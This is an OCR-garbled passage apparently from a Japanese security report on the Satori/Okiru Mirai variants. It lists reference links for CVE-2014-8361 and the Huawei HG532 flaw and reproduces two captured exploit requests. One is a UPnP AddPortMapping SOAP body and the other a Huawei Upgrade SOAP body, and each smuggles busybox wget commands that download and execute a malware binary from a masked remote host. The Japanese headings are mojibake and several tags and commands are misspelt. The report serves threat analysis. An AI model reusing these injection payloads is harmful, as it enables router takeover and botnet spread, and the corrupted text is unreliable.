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' https://nvd.nist.gov/vuln/detail/CVE-2014-8361

2 Security Notice - Statement on Remote Code Execution Vulnerability in Huawei HG532 Product
http://www.huawei.com/en/psirt/security-notices/huawei-sn-20171130-01-hg532-en

¥ Warning: Satori, a Mirai Branch Is Spreading in Worm Style on Port 37215 and 52869

http://blog.netlab.360.com/warning-satori-a-new-mirai-variant-is-spreading-in-worm-style-on-port-37215-and-

52869-en/

4 Rise of One More Mirai Worm Variant
https://blog.fortinet.com/2017/12/12/rise-of-one-more-mirai-worm-variant
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POST /picsdesc.xml HTTP/1.1

Host: *** Fxx Adkk *4%:52869

Connection: keep-alive

Accept-Encoding: gzip, deflate

Accept: */*

User-Agent: python-requests/2.18.4

SOAPAction:
urn:schemas-upnp-org:service:WANIPConnection:1l#AddPortMapping
Content-Length: 637

<?xml version="1.0" ?>
<s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/"
s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">
<s:Body>
<u:AddPortMapping
xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1">
<NewRemoteHost></NewRemoteHost>
<NewExternalPort>47450</NewExternalPort>
<NewProtocol>TCP</NewProtocol>
<NewInternalPort>44382</NewInternalPort>
<NewInternalClient>

‘cd /tmp/; /bin/busybox wget http://*** *** *xx ***/ckiru.sh’
</NewInternalClient>
<NewEnabled>1</NewEnabled>
<NewPortMappingDescription>syncthing</NewPortMappingDescription>
<NewLeaseDuration>0</NewLeaseDuration>
</u:AddPortMapping>
</s:Body>
</s:Envelope>

(B%E) R4 O— K2

<?xml.version="1.0" 2>

<s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/"
s:encodingStyle="http://schemas.xmlsocap.org/soap/encoding/">

<s:Body>

<u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1">
<NewStatusURL>$ (busybox wget -g XXX.XXX.xXXX.XXxX -1 /tmp/rsh -r
/okiru.mips ;chmod +x /tmp/rsh ;/tmp/rsh)</NewStatusURL>
<NewDownoadURL>S (echo HUAWEIUPNP)</NewDownloadURL>

</u:Upgrade>



</s:Body>
</s:Envelope>
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(BMETIVICHATIEELESMOE & BFEL
http://www.logitec.co.jp/info/2017/1219.html

JPCERT/CC [Mirai B2 D RXEFECRET 5 F B ML)
https://www.jpcert.or.jp/at/2017/at170049.html

IIJ-SECT TERNIZE T 5 Mirai BFEDRRERE (2017F11 8 QOEEMKR)]
https://sect.iij.ad.jp/d/2017/12/074702.html
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